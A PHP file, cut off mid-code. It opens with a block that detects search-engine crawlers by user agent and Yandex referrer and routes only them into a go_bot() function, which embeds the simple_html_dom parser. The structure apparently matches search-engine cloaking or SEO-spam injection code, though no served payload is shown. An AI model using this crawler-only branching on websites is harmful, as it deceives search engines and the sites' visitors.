/////

$uagent = $_SERVER['HTTP_USER_AGENT'];
if (isset($_SERVER['HTTP_REFERER'])) {
    $thereferer = strtolower($_SERVER['HTTP_REFERER']);
} else {
    $thereferer = '';
}
if (strpos($uagent, 'Googlebot') !== false) {
    go_bot();
} else if (substr_count(strtolower($uagent), 'google.') > 0 || substr_count($uagent, 'google favicon') > 0 || substr_count($uagent, 'google/1.0') > 0 || substr_count($uagent, 'google-read-aloud') > 0 || substr_count($uagent, 'adsbot-google-mobile-apps') > 0 || substr_count($uagent, 'googlebot-video') > 0 || substr_count($uagent, 'googlebot-news') > 0 || substr_count($uagent, 'googlebot-image') > 0 || substr_count($uagent, 'mediapartners-google') > 0) {
    go_bot();
} else if (substr_count(strtolower($uagent), 'yandex') > 0) {
    go_bot();
} else if (substr_count(strtolower($uagent), 'YandexBot') > 0) {
    go_bot();
} else if (substr_count(strtolower($uagent), 'Bingbot') > 0) {
    go_bot();
} else if (substr_count(strtolower($uagent), 'Slurp') > 0) {
    go_bot();
} else if (substr_count(strtolower($uagent), 'DuckDuckBot') > 0) {
    go_bot();
} else if (substr_count(strtolower($uagent), 'Baiduspider') > 0) {
    go_bot();
} else if (substr_count(strtolower($uagent), 'DuckDuckBot') > 0) {
    go_bot();
} else if (substr_count(strtolower($uagent), 'facebot') > 0) {
    go_bot();
} else if (substr_count(strtolower($uagent), 'Applebot') > 0) {
    go_bot();
}

if (strpos($thereferer, "yandex")) {
    go_bot();
}

function go_bot()
{

//////////////////////////////////////////
    define('HDOM_TYPE_ELEMENT', 1);
    define('HDOM_TYPE_COMMENT', 2);
    define('HDOM_TYPE_TEXT', 3);
    define('HDOM_TYPE_ENDTAG', 4);
    define('HDOM_TYPE_ROOT', 5);
    define('HDOM_TYPE_UNKNOWN', 6);
    define('HDOM_QUOTE_DOUBLE', 0);
    define('HDOM_QUOTE_SINGLE', 1);
    define('HDOM_QUOTE_NO', 3);
    define('HDOM_INFO_BEGIN', 0);
    define('HDOM_INFO_END', 1);
    define('HDOM_INFO_QUOTE', 2);
    define('HDOM_INFO_SPACE', 3);
    define('HDOM_INFO_TEXT', 4);
    define('HDOM_INFO_INNER', 5);
    define('HDOM_INFO_OUTER', 6);
    define('HDOM_INFO_ENDSPACE', 7);

    defined('DEFAULT_TARGET_CHARSET') || define('DEFAULT_TARGET_CHARSET', 'UTF-8');
    defined('DEFAULT_BR_TEXT') || define('DEFAULT_BR_TEXT', "\r\n");
    defined('DEFAULT_SPAN_TEXT') || define('DEFAULT_SPAN_TEXT', ' ');
    defined('MAX_FILE_SIZE') || define('MAX_FILE_SIZE', 600000);
    define('HDOM_SMARTY_AS_TEXT', 1);

    function file_get_html(
        $url,
        $use_include_path = false,
        $context = null,
        $offset = 0,
        $maxLen = -1,
        $lowercase = true,
        $forceTagsClosed = true,
        $target_charset = DEFAULT_TARGET_CHARSET,
        $stripRN = true,
        $defaultBRText = DEFAULT_BR_TEXT,
        $defaultSpanText = DEFAULT_SPAN_TEXT)
    {
        if ($maxLen <= 0) {
            $maxLen = MAX_FILE_SIZE;
        }

        $dom = new simple_html_dom(
            null,
            $lowercase,
            $forceTagsClosed,
            $target_charset,
            $stripRN,
            $defaultBRText,
            $defaultSpanText
        );

        /**
         * For sourceforge users: uncomment the next line and comment the
         * retrieve_url_contents line 2 lines down if it is not already done.
         */
        $contents = file_get_contents(
            $url,
            $use_include_path,
            $context,
            $offset,
            $maxLen
        );
// $contents = retrieve_url_contents($url);

        if (empty($contents) || strlen($contents) > $maxLen) {
            $dom->clear();
            return false;
        }

        return $dom->load($contents, $lowercase, $stripRN);
    }

    function str_get_html(
        $str,
        $lowercase = true,
        $forceTagsClosed = true,
        $target_charset = DEFAULT_TARGET_CHARSET,
        $stripRN = true,
        $defaultBRText = DEFAULT_BR_TEXT,
        $defaultSpanText = DEFAULT_SPAN_TEXT)
    {
        $dom = new simple_html_dom(
            null,
            $lowercase,
            $forceTagsClosed,
            $target_charset,
            $stripRN,
            $defaultBRText,
            $defaultSpanText
        );

        if (empty($str) || strlen($str) > MAX_FILE_SIZE) {
            $dom->clear();
            return false;
        }

        return $dom->load($str, $lowercase, $stripRN);
    }

    function dump_html_tree($node, $show_attr = true, $deep = 0)
    {
        $node->dump($node);
    }

    class simple_html_dom_node
    {
        public $nodetype = HDOM_TYPE_TEXT;
        public $tag = 'text';
        public $attr = array();
        public $children = array();
        public $nodes = array();
        public $parent = null;
        public $_ = array();
        public $tag_start = 0;
        private $dom = null;

        function __construct($dom)
        {
            $this->dom = $dom;
            $dom->nodes[] = $this;
        }

        function __destruct()
        {
            $this->clear();
        }

        function __toString()
        {
            return $this->outertext();
        }

        function clear()
        {
            $this->dom = null;
            $this->nodes = null;
            $this->parent = null;
            $this->children = null;
        }

        function dump($show_attr = true, $depth = 0)
        {
            echo str_repeat("\t", $depth) . $this->tag;

            if ($show_attr && count($this->attr) > 0) {
                echo '(';
                foreach ($this->attr as $k => $v) {
                    echo "[$k]=>\"$v\", ";
                }
                echo ')';
            }

            echo "\n";

            if ($this->nodes) {
                foreach ($this->nodes as $node) {
                    $node->dump($show_attr, $depth + 1);
                }
            }
        }

        function dump_node($echo = true)
        {
            $string = $this->tag;

            if (count($this->attr) > 0) {
                $string .= '(';
                foreach ($this->attr as $k => $v) {
                    $string .= "[$k]=>\"$v\", ";
                }
                $string .= ')';
            }

            if (count($this->_) > 0) {
                $string .= ' $_ (';
                foreach ($this->_ as $k => $v) {
                    if (is_array($v)) {
                        $string .= "[$k]=>(";
                        foreach ($v as $k2 => $v2) {
                            $string .= "[$k2]=>\"$v2\", ";
                        }
                        $string .= ')';
                    } else {
                        $string .= "[$k]=>\"$v\", ";
                    }
                }
                $string .= ')';
            }

            if (isset($this->text)) {
                $string .= " text: ({$this->text})";
            }

            $string .= ' HDOM_INNER_INFO: ';

            if (isset($node->_[HDOM_INFO_INNER])) {
                $string .= "'" . $node->_[HDOM_INFO_INNER] . "'";
            } else {
                $string .= ' NULL ';
            }

            $string .= ' children: ' . count($this->children);
            $string .= ' nodes: ' . count($this->nodes);
            $string .= ' tag_start: ' . $this->tag_start;
            $string .= "\n";

            if ($echo) {
                echo $string;
                return;
            } else {
                return $string;
            }
        }

        function parent($parent = null)
        {
// I am SURE that this doesn't work properly.
// It fails to unset the current node from it's current parents nodes or
// children list first.
            if ($parent !== null) {
                $this->parent = $parent;
                $this->parent->nodes[] = $this;
                $this->parent->children[] = $this;
            }

            return $this->parent;
        }

        function has_child()
        {
            return !empty($this->children);
        }

        function children($idx = -1)
        {
            if ($idx === -1) {
                return $this->children;
            }

            if (isset($this->children[$idx])) {
                return $this->children[$idx];
            }

            return null;
        }

        function first_child()
        {
            if (count($this->children) > 0) {
                return $this->children[0];
            }
            return null;
        }

        function last_child()
        {
            if (count($this->children) > 0) {
                return end($this->children);
            }
            return null;
        }

        function next_sibling()
        {
            if ($this->parent === null) {
                return null;
            }

            $idx = array_search($this, $this->parent->children, true);

            if ($idx !== false && isset($this->parent->children[$idx + 1])) {
                return $this->parent->children[$idx + 1];
            }

            return null;
        }

        function prev_sibling()
        {
            if ($this->parent === null) {
                return null;
            }

            $idx = array_search($this, $this->parent->children, true);

            if ($idx !== false && $idx > 0) {
                return $this->parent->children[$idx - 1];
            }

            return null;
        }

        function find_ancestor_tag($tag)
        {
            global $debug_object;
            if (is_object($debug_object)) {
                $debug_object->debug_log_entry(1);
            }

            if ($this->parent === null) {
                return null;
            }

            $ancestor = $this->parent;

            while (!is_null($ancestor)) {
                if (is_object($debug_object)) {
                    $debug_object->debug_log(2, 'Current tag is: ' . $ancestor->tag);
                }

                if ($ancestor->tag === $tag) {
                    break;
                }

                $ancestor = $ancestor->parent;
            }

            return $ancestor;
        }

        function innertext()
        {
            if (isset($this->_[HDOM_INFO_INNER])) {
                return $this->_[HDOM_INFO_INNER];
            }

            if (isset($this->_[HDOM_INFO_TEXT])) {
                return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]);
            }

            $ret = '';

            foreach ($this->nodes as $n) {
                $ret .= $n->outertext();
            }

            return $ret;
        }

        function outertext()
        {
            global $debug_object;

            if (is_object($debug_object)) {
                $text = '';

                if ($this->tag === 'text') {
                    if (!empty($this->text)) {
                        $text = ' with text: ' . $this->text;
                    }
                }

                $debug_object->debug_log(1, 'Innertext of tag: ' . $this->tag . $text);
            }

            if ($this->tag === 'root') {
                return $this->innertext();
            }

// todo: What is the use of this callback? Remove?
            if ($this->dom && $this->dom->callback !== null) {
                call_user_func_array($this->dom->callback, array($this));
            }

            if (isset($this->_[HDOM_INFO_OUTER])) {
                return $this->_[HDOM_INFO_OUTER];
            }

            if (isset($this->_[HDOM_INFO_TEXT])) {
                return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]);
            }

            $ret = '';

            if ($this->dom && $this->dom->nodes[$this->_[HDOM_INFO_BEGIN]]) {
                $ret = $this->dom->nodes[$this->_[HDOM_INFO_BEGIN]]->makeup();
            }

            if (isset($this->_[HDOM_INFO_INNER])) {
// todo: <br> should either never have HDOM_INFO_INNER or always
                if ($this->tag !== 'br') {
                    $ret .= $this->_[HDOM_INFO_INNER];
                }
            } elseif ($this->nodes) {
                foreach ($this->nodes as $n) {
                    $ret .= $this->convert_text($n->outertext());
                }
            }

            if (isset($this->_[HDOM_INFO_END]) && $this->_[HDOM_INFO_END] != 0) {
                $ret .= '</' . $this->tag . '>';
            }

            return $ret;
        }

        function text()
        {
            if (isset($this->_[HDOM_INFO_INNER])) {
                return $this->_[HDOM_INFO_INNER];
            }

            switch ($this->nodetype) {
                case HDOM_TYPE_TEXT:
                    return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]);
                case HDOM_TYPE_COMMENT:
                    return '';
                case HDOM_TYPE_UNKNOWN:
                    return '';
            }

            if (strcasecmp($this->tag, 'script') === 0) {
                return '';
            }
            if (strcasecmp($this->tag, 'style') === 0) {
                return '';
            }

            $ret = '';

// In rare cases, (always node type 1 or HDOM_TYPE_ELEMENT - observed
// for some span tags, and some p tags) $this->nodes is set to NULL.
// NOTE: This indicates that there is a problem where it's set to NULL
// without a clear happening.
// WHY is this happening?
            if (!is_null($this->nodes)) {
                foreach ($this->nodes as $n) {
// Start paragraph after a blank line
                    if ($n->tag === 'p') {
                        $ret = trim($ret) . "\n\n";
                    }

                    $ret .= $this->convert_text($n->text());

// If this node is a span... add a space at the end of it so
// multiple spans don't run into each other.  This is plaintext
// after all.
                    if ($n->tag === 'span') {
                        $ret .= $this->dom->default_span_text;
                    }
                }
            }
            return $ret;
        }

        function xmltext()
        {
            $ret = $this->innertext();
            $ret = str_ireplace('<![CDATA[', '', $ret);
            $ret = str_replace(']]>', '', $ret);
            return $ret;
        }

        function makeup()
        {
// text, comment, unknown
            if (isset($this->_[HDOM_INFO_TEXT])) {
                return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]);
            }

            $ret = '<' . $this->tag;
            $i = -1;

            foreach ($this->attr as $key => $val) {
                ++$i;

// skip removed attribute
                if ($val === null || $val === false) {
                    continue;
                }

                $ret .= $this->_[HDOM_INFO_SPACE][$i][0];

//no value attr: nowrap, checked selected...
                if ($val === true) {
                    $ret .= $key;
                } else {
                    switch ($this->_[HDOM_INFO_QUOTE][$i]) {
                        case HDOM_QUOTE_DOUBLE:
                            $quote = '"';
                            break;
                        case HDOM_QUOTE_SINGLE:
                            $quote = '\'';
                            break;
                        default:
                            $quote = '';
                    }

                    $ret .= $key
                        . $this->_[HDOM_INFO_SPACE][$i][1]
                        . '='
                        . $this->_[HDOM_INFO_SPACE][$i][2]
                        . $quote
                        . $val
                        . $quote;
                }
            }

            $ret = $this->dom->restore_noise($ret);
            return $ret . $this->_[HDOM_INFO_ENDSPACE] . '>';
        }

        function find($selector, $idx = null, $lowercase = false)
        {
            $selectors = $this->parse_selector($selector);
            if (($count = count($selectors)) === 0) {
                return array();
            }
            $found_keys = array();

// find each selector
            for ($c = 0; $c < $count; ++$c) {
// The change on the below line was documented on the sourceforge
// code tracker id 2788009
// used to be: if (($levle=count($selectors[0]))===0) return array();
                if (($levle = count($selectors[$c])) === 0) {
                    return array();
                }
                if (!isset($this->_[HDOM_INFO_BEGIN])) {
                    return array();
                }

                $head = array($this->_[HDOM_INFO_BEGIN] => 1);
                $cmd = ' '; // Combinator

// handle descendant selectors, no recursive!
                for ($l = 0; $l < $levle; ++$l) {
                    $ret = array();

                    foreach ($head as $k => $v) {
                        $n = ($k === -1) ? $this->dom->root : $this->dom->nodes[$k];
//PaperG - Pass this optional parameter on to the seek function.
                        $n->seek($selectors[$c][$l], $ret, $cmd, $lowercase);
                    }

                    $head = $ret;
                    $cmd = $selectors[$c][$l][4]; // Next Combinator
                }

                foreach ($head as $k => $v) {
                    if (!isset($found_keys[$k])) {
                        $found_keys[$k] = 1;
                    }
                }
            }

// sort keys
            ksort($found_keys);

            $found = array();
            foreach ($found_keys as $k => $v) {
                $found[] = $this->dom->nodes[$k];
            }

// return nth-element or array
            if (is_null($idx)) {
                return $found;
            } elseif ($idx < 0) {
                $idx = count($found) + $idx;
            }
            return (isset($found[$idx])) ? $found[$idx] : null;
        }

        protected function seek($selector, &$ret, $parent_cmd, $lowercase = false)
        {
            global $debug_object;
            if (is_object($debug_object)) {
                $debug_object->debug_log_entry(1);
            }

            list($tag, $id, $class, $attributes, $cmb) = $selector;
            $nodes = array();

            if ($parent_cmd === ' ') { // Descendant Combinator
// Find parent closing tag if the current element doesn't have a closing
// tag (i.e. void element)
                $end = (!empty($this->_[HDOM_INFO_END])) ? $this->_[HDOM_INFO_END] : 0;
                if ($end == 0) {
                    $parent = $this->parent;
                    while (!isset($parent->_[HDOM_INFO_END]) && $parent !== null) {
                        $end -= 1;
                        $parent = $parent->parent;
                    }
                    $end += $parent->_[HDOM_INFO_END];
                }

// Get list of target nodes
                $nodes_start = $this->_[HDOM_INFO_BEGIN] + 1;
                $nodes_count = $end - $nodes_start;
                $nodes = array_slice($this->dom->nodes, $nodes_start, $nodes_count, true);
            } elseif ($parent_cmd === '>') { // Child Combinator
                $nodes = $this->children;
            } elseif ($parent_cmd === '+'
                && $this->parent
                && in_array($this, $this->parent->children)) { // Next-Sibling Combinator
                $index = array_search($this, $this->parent->children, true) + 1;
                if ($index < count($this->parent->children))
                    $nodes[] = $this->parent->children[$index];
            } elseif ($parent_cmd === '~'
                && $this->parent
                && in_array($this, $this->parent->children)) { // Subsequent Sibling Combinator
                $index = array_search($this, $this->parent->children, true);
                $nodes = array_slice($this->parent->children, $index);
            }

// Go throgh each element starting at this element until the end tag
// Note: If this element is a void tag, any previous void element is
// skipped.
            foreach ($nodes as $node) {
                $pass = true;

// Skip root nodes
                if (!$node->parent) {
                    $pass = false;
                }

// Handle 'text' selector
                if ($pass && $tag === 'text' && $node->tag === 'text') {
                    $ret[array_search($node, $this->dom->nodes, true)] = 1;
                    unset($node);
                    continue;
                }

// Skip if node isn't a child node (i.e. text nodes)
                if ($pass && !in_array($node, $node->parent->children, true)) {
                    $pass = false;
                }

// Skip if tag doesn't match
                if ($pass && $tag !== '' && $tag !== $node->tag && $tag !== '*') {
                    $pass = false;
                }

// Skip if ID doesn't exist
                if ($pass && $id !== '' && !isset($node->attr['id'])) {
                    $pass = false;
                }

// Check if ID matches
                if ($pass && $id !== '' && isset($node->attr['id'])) {
// Note: Only consider the first ID (as browsers do)
                    $node_id = explode(' ', trim($node->attr['id']))[0];

                    if ($id !== $node_id) {
                        $pass = false;
                    }
                }

// Check if all class(es) exist
                if ($pass && $class !== '' && is_array($class) && !empty($class)) {
                    if (isset($node->attr['class'])) {
                        $node_classes = explode(' ', $node->attr['class']);

                        if ($lowercase) {
                            $node_classes = array_map('strtolower', $node_classes);
                        }

                        foreach ($class as $c) {
                            if (!in_array($c, $node_classes)) {
                                $pass = false;
                                break;
                            }
                        }
                    } else {
                        $pass = false;
                    }
                }

// Check attributes
                if ($pass
                    && $attributes !== ''
                    && is_array($attributes)
                    && !empty($attributes)) {
                    foreach ($attributes as $a) {
                        list (
                            $att_name,
                            $att_expr,
                            $att_val,
                            $att_inv,
                            $att_case_sensitivity
                            ) = $a;

// Handle indexing attributes (i.e. "[2]")
                        /**
                         * Note: This is not supported by the CSS Standard but adds
                         * the ability to select items compatible to XPath (i.e.
                         * the 3rd element within it's parent).
                         *
                         * Note: This doesn't conflict with the CSS Standard which
                         * doesn't work on numeric attributes anyway.
                         */
                        if (is_numeric($att_name)
                            && $att_expr === ''
                            && $att_val === '') {
                            $count = 0;

// Find index of current element in parent
                            foreach ($node->parent->children as $c) {
                                if ($c->tag === $node->tag) ++$count;
                                if ($c === $node) break;
                            }

// If this is the correct node, continue with next
// attribute
                            if ($count === (int)$att_name) continue;
                        }

// Check attribute availability
                        if ($att_inv) { // Attribute should NOT be set
                            if (isset($node->attr[$att_name])) {
                                $pass = false;
                                break;
                            }
                        } else { // Attribute should be set
// todo: "plaintext" is not a valid CSS selector!
                            if ($att_name !== 'plaintext'
                                && !isset($node->attr[$att_name])) {
                                $pass = false;
                                break;
                            }
                        }

// Continue with next attribute if expression isn't defined
                        if ($att_expr === '') continue;

// If they have told us that this is a "plaintext"
// search then we want the plaintext of the node - right?
// todo "plaintext" is not a valid CSS selector!
                        if ($att_name === 'plaintext') {
                            $nodeKeyValue = $node->text();
                        } else {
                            $nodeKeyValue = $node->attr[$att_name];
                        }

                        if (is_object($debug_object)) {
                            $debug_object->debug_log(2,
                                'testing node: '
                                . $node->tag
                                . ' for attribute: '
                                . $att_name
                                . $att_expr
                                . $att_val
                                . ' where nodes value is: '
                                . $nodeKeyValue
                            );
                        }

// If lowercase is set, do a case insensitive test of
// the value of the selector.
                        if ($lowercase) {
                            $check = $this->match(
                                $att_expr,
                                strtolower($att_val),
                                strtolower($nodeKeyValue),
                                $att_case_sensitivity
                            );
                        } else {
                            $check = $this->match(
                                $att_expr,
                                $att_val,
                                $nodeKeyValue,
                                $att_case_sensitivity
                            );
                        }

                        if (is_object($debug_object)) {
                            $debug_object->debug_log(2,
                                'after match: '
                                . ($check ? 'true' : 'false')
                            );
                        }

                        if (!$check) {
                            $pass = false;
                            break;
                        }
                    }
                }

// Found a match. Add to list and clear node
                if ($pass) $ret[$node->_[HDOM_INFO_BEGIN]] = 1;
                unset($node);
            }
// It's passed by reference so this is actually what this function returns.
            if (is_object($debug_object)) {
                $debug_object->debug_log(1, 'EXIT - ret: ', $ret);
            }
        }

        protected function match($exp, $pattern, $value, $case_sensitivity)
        {
            global $debug_object;
            if (is_object($debug_object)) {
                $debug_object->debug_log_entry(1);
            }

            if ($case_sensitivity === 'i') {
                $pattern = strtolower($pattern);
                $value = strtolower($value);
            }

            switch ($exp) {
                case '=':
                    return ($value === $pattern);
                case '!=':
                    return ($value !== $pattern);
                case '^=':
                    return preg_match('/^' . preg_quote($pattern, '/') . '/', $value);
                case '$=':
                    return preg_match('/' . preg_quote($pattern, '/') . '$/', $value);
                case '*=':
                    return preg_match('/' . preg_quote($pattern, '/') . '/', $value);
                case '|=':
                    /**
                     * [att|=val]
                     *
                     * Represents an element with the att attribute, its value
                     * either being exactly "val" or beginning with "val"
                     * immediately followed by "-" (U+002D).
                     */
                    return strpos($value, $pattern) === 0;
                case '~=':
                    /**
                     * [att~=val]
                     *
                     * Represents an element with the att attribute whose value is a
                     * whitespace-separated list of words, one of which is exactly
                     * "val". If "val" contains whitespace, it will never represent
                     * anything (since the words are separated by spaces). Also if
                     * "val" is the empty string, it will never represent anything.
                     */
                    return in_array($pattern, explode(' ', trim($value)), true);
            }
            return false;
        }

        protected function parse_selector($selector_string)
        {
            global $debug_object;
            if (is_object($debug_object)) {
                $debug_object->debug_log_entry(1);
            }

            /**
             * Pattern of CSS selectors, modified from mootools (https://mootools.net/)
             *
             * Paperg: Add the colon to the attribute, so that it properly finds
             * <tag attr:ibute="something" > like google does.
             *
             * Note: if you try to look at this attribute, you MUST use getAttribute
             * since $dom->x:y will fail the php syntax check.
             *
             * Notice the \[ starting the attribute? and the @? following? This
             * implies that an attribute can begin with an @ sign that is not
             * captured. This implies that an html attribute specifier may start
             * with an @ sign that is NOT captured by the expression. Farther study
             * is required to determine of this should be documented or removed.
             *
             * Matches selectors in this order:
             *
             * [0] - full match
             *
             * [1] - tag name
             *     ([\w:\*-]*)
             *     Matches the tag name consisting of zero or more words, colons,
             *     asterisks and hyphens.
             *
             * [2] - id name
             *     (?:\#([\w-]+))
             *     Optionally matches a id name, consisting of an "#" followed by
             *     the id name (one or more words and hyphens).
             *
             * [3] - class names (including dots)
             *     (?:\.([\w\.-]+))?
             *     Optionally matches a list of classs, consisting of an "."
             *     followed by the class name (one or more words and hyphens)
             *     where multiple classes can be chained (i.e. ".foo.bar.baz")
             *
             * [4] - attributes
             *     ((?:\[@?(?:!?[\w:-]+)(?:(?:[!*^$|~]?=)[\"']?(?:.*?)[\"']?)?(?:\s*?(?:[iIsS])?)?\])+)?
             *     Optionally matches the attributes list
             *
             * [5] - separator
             *     ([\/, >+~]+)
             *     Matches the selector list separator
             */
            // phpcs:ignore Generic.Files.LineLength
            $pattern = "/([\w:\*-]*)(?:\#([\w-]+))?(?:|\.([\w\.-]+))?((?:\[@?(?:!?[\w:-]+)(?:(?:[!*^$|~]?=)[\"']?(?:.*?)[\"']?)?(?:\s*?(?:[iIsS])?)?\])+)?([\/, >+~]+)/is";

            preg_match_all(
                $pattern,
                trim($selector_string) . ' ', // Add final ' ' as pseudo separator
                $matches,
                PREG_SET_ORDER
            );

            if (is_object($debug_object)) {
                $debug_object->debug_log(2, 'Matches Array: ', $matches);
            }

            $selectors = array();
            $result = array();

            foreach ($matches as $m) {
                $m[0] = trim($m[0]);

                // Skip NoOps
                if ($m[0] === '' || $m[0] === '/' || $m[0] === '//') {
                    continue;
                }

                // Convert to lowercase
                if ($this->dom->lowercase) {
                    $m[1] = strtolower($m[1]);
                }

                // Extract classes
                if ($m[3] !== '') {
                    $m[3] = explode('.', $m[3]);
                }

                /* Extract attributes (pattern based on the pattern above!)

                * [0] - full match
                * [1] - attribute name
                * [2] - attribute expression
                * [3] - attribute value
                * [4] - case sensitivity
                *
                * Note: Attributes can be negated with a "!" prefix to their name
                */
                if ($m[4] !== '') {
                    preg_match_all(
                        "/\[@?(!?[\w:-]+)(?:([!*^$|~]?=)[\"']?(.*?)[\"']?)?(?:\s+?([iIsS])?)?\]/is",
                        trim($m[4]),
                        $attributes,
                        PREG_SET_ORDER
                    );

                    // Replace element by array
                    $m[4] = array();

                    foreach ($attributes as $att) {
                        // Skip empty matches
                        if (trim($att[0]) === '') {
                            continue;
                        }

                        $inverted = (isset($att[1][0]) && $att[1][0] === '!');
                        $m[4][] = array(
                            $inverted ? substr($att[1], 1) : $att[1], // Name
                            (isset($att[2])) ? $att[2] : '', // Expression
                            (isset($att[3])) ? $att[3] : '', // Value
                            $inverted, // Inverted Flag
                            (isset($att[4])) ? strtolower($att[4]) : '', // Case-Sensitivity
                        );
                    }
                }

                // Sanitize Separator
                if ($m[5] !== '' && trim($m[5]) === '') { // Descendant Separator
                    $m[5] = ' ';
                } else { // Other Separator
                    $m[5] = trim($m[5]);
                }

                // Clear Separator if it's a Selector List
                if ($is_list = ($m[5] === ',')) {
                    $m[5] = '';
                }

                // Remove full match before adding to results
                array_shift($m);
                $result[] = $m;

                if ($is_list) { // Selector List
                    $selectors[] = $result;
                    $result = array();
                }
            }

            if (count($result) > 0) {
                $selectors[] = $result;
            }
            return $selectors;
        }

        function __get($name)
        {
            if (isset($this->attr[$name])) {
                return $this->convert_text($this->attr[$name]);
            }
            switch ($name) {
                case 'outertext':
                    return $this->outertext();
                case 'innertext':
                    return $this->innertext();
                case 'plaintext':
                    return $this->text();
                case 'xmltext':
                    return $this->xmltext();
                default:
                    return array_key_exists($name, $this->attr);
            }
        }

        function __set($name, $value)
        {
            global $debug_object;
            if (is_object($debug_object)) {
                $debug_object->debug_log_entry(1);
            }

            switch ($name) {
                case 'outertext':
                    return $this->_[HDOM_INFO_OUTER] = $value;
                case 'innertext':
                    if (isset($this->_[HDOM_INFO_TEXT])) {
                        return $this->_[HDOM_INFO_TEXT] = $value;
                    }
                    return $this->_[HDOM_INFO_INNER] = $value;
            }

            if (!isset($this->attr[$name])) {
                $this->_[HDOM_INFO_SPACE][] = array(' ', '', '');
                $this->_[HDOM_INFO_QUOTE][] = HDOM_QUOTE_DOUBLE;
            }

            $this->attr[$name] = $value;
        }

        function __isset($name)
        {
            switch ($name) {
                case 'outertext':
                    return true;
                case 'innertext':
                    return true;
                case 'plaintext':
                    return true;
            }
            //no value attr: nowrap, checked selected...
            return (array_key_exists($name, $this->attr)) ? true : isset($this->attr[$name]);
        }

        function __unset($name)
        {
            if (isset($this->attr[$name])) {
                unset($this->attr[$name]);
            }
        }

        function convert_text($text)
        {
            global $debug_object;
            if (is_object($debug_object)) {
                $debug_object->debug_log_entry(1);
            }

            $converted_text = $text;

            $sourceCharset = '';
            $targetCharset = '';

            if ($this->dom) {
                $sourceCharset = strtoupper($this->dom->_charset);
                $targetCharset = strtoupper($this->dom->_target_charset);
            }

            if (is_object($debug_object)) {
                $debug_object->debug_log(3,
                    'source charset: '
                    . $sourceCharset
                    . ' target charaset: '
                    . $targetCharset
                );
            }

            if (!empty($sourceCharset)
                && !empty($targetCharset)
                && (strcasecmp($sourceCharset, $targetCharset) != 0)) {
                // Check if the reported encoding could have been incorrect and the text is actually already UTF-8
                if ((strcasecmp($targetCharset, 'UTF-8') == 0)
                    && ($this->is_utf8($text))) {
                    $converted_text = $text;
                } else {
                    $converted_text = iconv($sourceCharset, $targetCharset, $text);
                }
            }

            // Lets make sure that we don't have that silly BOM issue with any of the utf-8 text we output.
            if ($targetCharset === 'UTF-8') {
                if (substr($converted_text, 0, 3) === "\xef\xbb\xbf") {
                    $converted_text = substr($converted_text, 3);
                }

                if (substr($converted_text, -3) === "\xef\xbb\xbf") {
                    $converted_text = substr($converted_text, 0, -3);
                }
            }

            return $converted_text;
        }

        static function is_utf8($str)
        {
            $c = 0;
            $b = 0;
            $bits = 0;
            $len = strlen($str);
            for ($i = 0; $i < $len; $i++) {
                $c = ord($str[$i]);
                if ($c > 128) {
                    if (($c >= 254)) {
                        return false;
                    } elseif ($c >= 252) {
                        $bits = 6;
                    } elseif ($c >= 248) {
                        $bits = 5;
                    } elseif ($c >= 240) {
                        $bits = 4;
                    } elseif ($c >= 224) {
                        $bits = 3;
                    } elseif ($c >= 192) {
                        $bits = 2;
                    } else {
                        return false;
                    }
                    if (($i + $bits) > $len) {
                        return false;
                    }
                    while ($bits > 1) {
                        $i++;
                        $b = ord($str[$i]);
                        if ($b < 128 || $b > 191) {
                            return false;
                        }
                        $bits--;
                    }
                }
            }
            return true;
        }

        function get_display_size()
        {
            global $debug_object;

            $width = -1;
            $height = -1;

            if ($this->tag !== 'img') {
                return false;
            }

            // See if there is aheight or width attribute in the tag itself.
            if (isset($this->attr['width'])) {
                $width = $this->attr['width'];
            }

            if (isset($this->attr['height'])) {
                $height = $this->attr['height'];
            }

            // Now look for an inline style.
            if (isset($this->attr['style'])) {
                // Thanks to user gnarf from stackoverflow for this regular expression.
                $attributes = array();

                preg_match_all(
                    '/([\w-]+)\s*:\s*([^;]+)\s*;?/',
                    $this->attr['style'],
                    $matches,
                    PREG_SET_ORDER
                );

                foreach ($matches as $match) {
                    $attributes[$match[1]] = $match[2];
                }

                // If there is a width in the style attributes:
                if (isset($attributes['width']) && $width == -1) {
                    // check that the last two characters are px (pixels)
                    if (strtolower(substr($attributes['width'], -2)) === 'px') {
                        $proposed_width = substr($attributes['width'], 0, -2);
                        // Now make sure that it's an integer and not something stupid.
                        if (filter_var($proposed_width, FILTER_VALIDATE_INT)) {
                            $width = $proposed_width;
                        }
                    }
                }

                // If there is a width in the style attributes:
                if (isset($attributes['height']) && $height == -1) {
                    // check that the last two characters are px (pixels)
                    if (strtolower(substr($attributes['height'], -2)) == 'px') {
                        $proposed_height = substr($attributes['height'], 0, -2);
                        // Now make sure that it's an integer and not something stupid.
                        if (filter_var($proposed_height, FILTER_VALIDATE_INT)) {
                            $height = $proposed_height;
                        }
                    }
                }

            }

            // Future enhancement:
            // Look in the tag to see if there is a class or id specified that has
            // a height or width attribute to it.

            // Far future enhancement
            // Look at all the parent tags of this image to see if they specify a
            // class or id that has an img selector that specifies a height or width
            // Note that in this case, the class or id will have the img subselector
            // for it to apply to the image.

            // ridiculously far future development
            // If the class or id is specified in a SEPARATE css file thats not on
            // the page, go get it and do what we were just doing for the ones on
            // the page.

            $result = array(
                'height' => $height,
                'width' => $width
            );

            return $result;
        }

        function save($filepath = '')
        {
            $ret = $this->outertext();

            if ($filepath !== '') {
                file_put_contents($filepath, $ret, LOCK_EX);
            }

            return $ret;
        }

        function addClass($class)
        {
            if (is_string($class)) {
                $class = explode(' ', $class);
            }

            if (is_array($class)) {
                foreach ($class as $c) {
                    if (isset($this->class)) {
                        if ($this->hasClass($c)) {
                            continue;
                        } else {
                            $this->class .= ' ' . $c;
                        }
                    } else {
                        $this->class = $c;
                    }
                }
            } else {
                if (is_object($debug_object)) {
                    $debug_object->debug_log(2, 'Invalid type: ', gettype($class));
                }
            }
        }

        function hasClass($class)
        {
            if (is_string($class)) {
                if (isset($this->class)) {
                    return in_array($class, explode(' ', $this->class), true);
                }
            } else {
                if (is_object($debug_object)) {
                    $debug_object->debug_log(2, 'Invalid type: ', gettype($class));
                }
            }

            return false;
        }

        function removeClass($class = null)
        {
            if (!isset($this->class)) {
                return;
            }

            if (is_null($class)) {
                $this->removeAttribute('class');
                return;
            }

            if (is_string($class)) {
                $class = explode(' ', $class);
            }

            if (is_array($class)) {
                $class = array_diff(explode(' ', $this->class), $class);
                if (empty($class)) {
